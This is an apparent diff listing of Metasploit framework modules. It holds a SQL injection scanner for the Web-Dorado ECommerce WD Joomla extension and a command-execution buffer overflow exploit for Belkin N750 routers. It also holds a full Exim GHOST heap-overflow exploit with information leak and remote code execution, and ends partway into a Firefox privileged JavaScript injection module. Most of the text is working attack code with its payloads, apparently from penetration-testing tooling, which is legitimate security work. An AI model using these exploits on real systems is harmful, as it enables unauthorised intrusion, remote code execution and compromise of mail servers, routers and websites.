['URL', 'https://labs.mwrinfosecurity.com/blog/2015/03/20/gitlab-user-enumeration/']
]
))
register_options(

View File

@ -0,0 +1,90 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner',
'Description' => %q{
This module will scan for hosts vulnerable to an unauthenticated SQL injection within the
advanced search feature of the Web-Dorado ECommerce WD 1.2.5 and likely prior.
},
'Author' =>
[
'bperry'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-2562']
],
'DisclosureDate' => 'Mar 20 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/'])
], self.class)
end
def run_host(ip)
left_marker = Rex::Text.rand_text_alpha(5)
right_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_get' => {
'option' => 'com_ecommercewd',
'controller' => 'products',
'task' => 'displayproducts',
'Itemid' => '-1'
},
'vars_post' => {
'product_id' => '-1',
'product_count' => '',
'product_parameters_json' => '',
'search_name' => '',
'search_category_id' => "1) UNION ALL SELECT CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]})-- ",
'filter_filters_opened' => '0',
'filter_manufacturer_ids' => '1',
'filter_price_from' => '',
'filter_price_to' => '',
'sort_by' => '',
'sort_order' => 'asc',
'pagination_limit_start' => '0',
'pagination_limit' => '12'
}
})
unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
if result
print_good("#{peer} - Vulnerable to CVE-2015-2562 (search_category_id parameter SQL injection)")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Web-Dorado ECommerce WD search_category_id SQL injection",
:refs => self.references.select { |ref| ref.ctx_val == "2015-2562" }
})
end
end
end

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Symantec Web Gateway Login Utility',
'Description' => %q{
This module will attempt to authenticate to a Symantec Web Gateway
This module will attempt to authenticate to a Symantec Web Gateway.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
'Description' => %q{
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
},
'Author' =>
[

View File

@ -0,0 +1,116 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
remote unauthenticated attackers to execute arbitrary code. This module was tested in
an emulated environment, using the version 1.10.16.m of the firmware.
},
'Author' =>
[
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['CVE', '2014-1635'],
['EDB', '35184'],
['BID', '70977'],
['OSVDB', '114345'],
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
],
'Targets' =>
[
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
{
'Offset' => 1379,
}
]
],
'DefaultOptions' =>
{
'RPORT' => 8080
},
'DisclosureDate' => 'May 09 2014',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})
if res &&
[200, 301, 302].include?(res.code) &&
res.headers['Server'] &&
res.headers['Server'] =~ /minhttpd/ &&
res.body =~ /u_errpaswd/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset'])
shellcode << 'e' << cmd
shellcode << "\n\n"
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/login.cgi',
'vars_post' => {
'GO' => '',
'jump' => shellcode,
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -0,0 +1,723 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q{
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions on x86
and x86_64 GNU/Linux systems that run the Exim mail server.
},
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [
['CVE', '2015-0235'],
['US-CERT-VU', '967332'],
['OSVDB', '117579'],
['BID', '72325'],
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],
['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],
['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)
],
'DisclosureDate' => 'Jan 27 2015',
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
'Payload' => {
'Space' => 255, # the shorter the payload, the higher the probability of code execution
'BadChars' => "", # we encode the payload ourselves, because ^
'DisableNops' => true,
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(25),
OptAddress.new('SENDER_HOST_ADDRESS', [true,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
], self.class)
register_advanced_options([
OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])
], self.class)
end
def check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown
begin
# not exploiting, just checking
smtp_connect(false)
# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk
9.times do
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
smtp_recv(HELO_CODES)
end
# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe
rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure
smtp_disconnect
end
return check_code
end
def exploit
unless datastore['FORCE_EXPLOIT']
print_status("Checking if target is vulnerable...")
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
print_good("Target is vulnerable.")
end
information_leak
code_execution
end
private
HELO_CODES = '250|451|550'
ANY_CODE = '[0-9]{3}'
MIN_HEAP_SHIFT = 80
MIN_HEAP_SIZE = 128 * 1024
MAX_HEAP_SIZE = 1024 * 1024
# Exim
ALIGNMENT = 8
STORE_BLOCK_SIZE = 8192
STOREPOOL_MIN_SIZE = 256
LOG_BUFFER_SIZE = 8192
BIG_BUFFER_SIZE = 16384
SMTP_CMD_BUFFER_SIZE = 16384
IN_BUFFER_SIZE = 8192
# GNU C Library
PREV_INUSE = 0x1
NS_MAXDNAME = 1025
# Linux
MMAP_MIN_ADDR = 65536
def fail_with(fail_subject, message)
message = "#{message}. For more info: http://r-7.co/1CAnMc0"
super(fail_subject, message)
end
def information_leak
print_status("Trying information leak...")
leaked_arch = nil
leaked_addr = []
# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)
16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"
# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)
error = [error]
1.upto(5) do |i|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")
_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86_64
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86
else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)
count = Hash.new(0)
0.upto(9) do |last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[1] <=> a[1] }
error_count = error_count.first # most frequent
error = error_count[0]
count = error_count[1]
throw(:another_heap_shift) unless count >= 6 # majority
leaked_addr.push({ error: error, shift: heap_shift })
# common-case shortcut
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
leaked_addr = [leaked_addr.last] # use this one, and not another
throw(:another_heap_shift, true) # done
end
throw(:another_heap_shift)
end
throw(:another_heap_shift)
end
break if done
end
fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
leaked_addr = leaked_addr.first # longest
error = leaked_addr[:error]
shift = leaked_addr[:shift]
leaked_addr = 0
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
break if i >= error.length
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
print_good("Successfully leaked_arch: #{leaked_arch}")
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
@leaked = { arch: leaked_arch, addr: leaked_addr }
end
def try_information_leak(heap_shift, write_offset, last_digit = 9)
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
smtp_connect
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
begin # ^ 0x30 | PREV_INUSE
smtp_recv(HELO_CODES)
smtp_send("RSET")
smtp_recv(250)
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(503, 'sender not yet given')
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("DATA")
reply = smtp_recv(503)
lines = reply[:lines]
fail if lines.size <= 3
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
# but happens with lower probability)
error = lines[+1..-3].join("")
error.sub!(/\A503-/mn, "")
error.sub!(/\r\n\z/mn, "")
error.gsub!(/\r\n503-/mn, "\n")
return error
rescue
return nil
end
ensure
smtp_disconnect
end
def code_execution
print_status("Trying code execution...")
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
# that rogue child processes cannot use them.
fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command)
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
acldrop = "drop message="
message = rand_text_alpha(command.length - acldrop.length)
acldrop += message
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
max_heap_addr = @leaked[:addr]
min_heap_addr = nil
survived = nil
# we later fill log_buffer and big_buffer with alpha chars,
# which creates a safe-zone at the beginning of the heap,
# where we can't possibly crash during our brute-force
# 4, because 3 copies of sender_helo_name, and step_len;
# start big, but refine little by little in case
# we crash because we overwrite important data
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
loop do
sender_helo_name = "A" * helo_len
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
# the 3 copies of sender_helo_name, allocated by
# host_build_sender_fullhost() in POOL_PERM memory
helo_ip_size = ALIGNMENT +
sender_helo_name[+1..-2].length
sender_fullhost_size = ALIGNMENT +
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
).length
# fit completely into the safe-zone
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
loop do
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
# with alpha chars, which creates another safe-zone at the end of the heap)
heap_addr = max_heap_addr
loop do
# try harder the first time around: we obtain better
# heap boundaries, and we usually hit our ACL faster
(min_heap_addr ? 1 : 2).times do
# try the same heap_addr several times, but with different random offsets,
# in case we crash because our hijacked storeblock's length field is too small
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply
if reply and
reply[:code] == "550" and
# detect the parsed ACL, not the "still in text form" ACL (with "=")
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
print_good("Brute-force SUCCESS")
print_good("Please wait for reply...")
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}")
return handler
end
if not min_heap_addr
if reply
fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
survived = heap_addr
else
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
# survived should point to our safe-zone at the beginning of the heap
fail_with("codeexec", "never survived") if not survived
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
min_heap_addr = survived
end
end
end
end
heap_addr -= step_len
break if min_heap_addr and heap_addr < min_heap_addr
end
break if step_len < 1024
step_len /= 2
end
helo_len /= 2
break if helo_len < 1024
# ^ otherwise the 3 copies of sender_helo_name will
# fit into the current_block of POOL_PERM memory
end
fail_with("codeexec", "Brute-force FAILURE")
end
# our write-what-where primitive
def try_code_execution(len, what, where)
fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
fail_with("codeexec", "#{where} < 0") if where < 0
x86 = (@leaked[:arch] == ARCH_X86)
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
last_digit = 1 + rand(9)
smtp_connect
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
"501 : sender address must contain a domain\r\n\0".length)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250)
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
# / 5, because "\x7F" is non-print, and:
# ss = store_get(length + nonprintcount * 4 + 1);
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
# auth_xtextdecode() is the only way to overwrite the beginning of a
# current_block of memory (the "storeblock" structure) with arbitrary data
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
# this shapes the rest of our exploit: we overwrite the beginning of the
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
# memory (allocated by auth_xtextdecode()).
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
auth_prefix += "."
# also fill log_buffer with alpha chars
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
smtp_recv(501, 'invalid data for AUTH')
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
begin
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] !~ /#{HELO_CODES}/
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
smtp_send("MAIL FROM:<>")
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] != "250"
smtp_send("RCPT TO:<postmaster>")
reply = smtp_recv
return reply
rescue
return nil
end
ensure
smtp_disconnect
end
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
DOT = '[.]'
def smtp_connect(exploiting = true)
fail_with("smtp_connect", "sock isn't nil") if sock
connect
fail_with("smtp_connect", "sock is nil") if not sock
@smtp_state = :recv
# Receiving the banner (but we don't really need to check it)
smtp_recv(220)
return if not exploiting
sender_host_address = datastore['SENDER_HOST_ADDRESS']
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
end
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
# turn helo_seen on (enable the MAIL command)
# call smtp_verify_helo() (force fopen() and small malloc()s)
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
smtp_send("HELO #{sender_host_address_octal}")
reply = smtp_recv(HELO_CODES)
if reply[:code] != "250"
fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
end
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
smtp_active_hostname = $1
sender_host_name = $2
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
sender_host_name = $2
sender_ident = $1
else
sender_ident = nil
end
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
else
# can't double-check sender_host_address here, so only for advanced users
fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
# worst-case scenario
smtp_active_hostname = "A" * NS_MAXDNAME
sender_host_name = "A" * NS_MAXDNAME
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
end
_sender = @sender
@sender = {
hostaddr: sender_host_address,
hostaddr8: sender_host_address_octal,
hostname: sender_host_name,
ident: sender_ident,
__smtp_active_hostname: smtp_active_hostname
}
fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250, 'Reset OK')
end
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
@smtp_state = :sending
if not arg_pattern
fail_with("smtp_send", "prefix is nil") if not prefix
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
command = prefix
else
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with("smtp_send", "len is #{length}") if length <= 0
argument = arg_prefix
case arg_pattern
when String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[0, length % arg_pattern.length]
when Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
command = prefix + argument + suffix
end
fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)
while command and not command.empty?
num_sent = sock.put(command)
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
command = command[num_sent..-1]
end
@smtp_state = :recv
end
def smtp_recv(expected_code = nil, expected_data = nil)
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
@smtp_state = :recving
failure = catch(:failure) do
# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)
data = ""
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw(:failure, "Caught #{$!.class}: #{$!.message}")
end
throw(:failure, "no more data") if more_data.nil?
throw(:failure, "no more data") if more_data.empty?
data += more_data
end
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
throw(:failure, "malformed reply (empty)") if lines.empty?
code = nil
lines.size.times do |i|
lines[i].sub!(/\A\r\n/mn, "")
lines[i] += "\r\n"
if i == 0
code = lines[i][0,3]
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
if expected_code and code !~ /\A(#{expected_code})\z/mn
throw(:failure, "unexpected #{code}, expected #{expected_code}")
end
end
line_begins_with = lines[i][0,4]
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
if line_begins_with != line_should_begin_with
throw(:failure, "line begins with #{line_begins_with}, " \
"should begin with #{line_should_begin_with}")
end
end
throw(:failure, "malformed reply (join)") if lines.join("") != data
if expected_data and data !~ /#{expected_data}/mn
throw(:failure, "unexpected data")
end
reply = { code: code, lines: lines }
@smtp_state = :send
return reply
end
fail_with("smtp_recv", "#{failure}") if expected_code
return nil
end
def smtp_disconnect
disconnect if sock
fail_with("smtp_disconnect", "sock isn't nil") if sock
@smtp_state = :disconnected
end
end

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
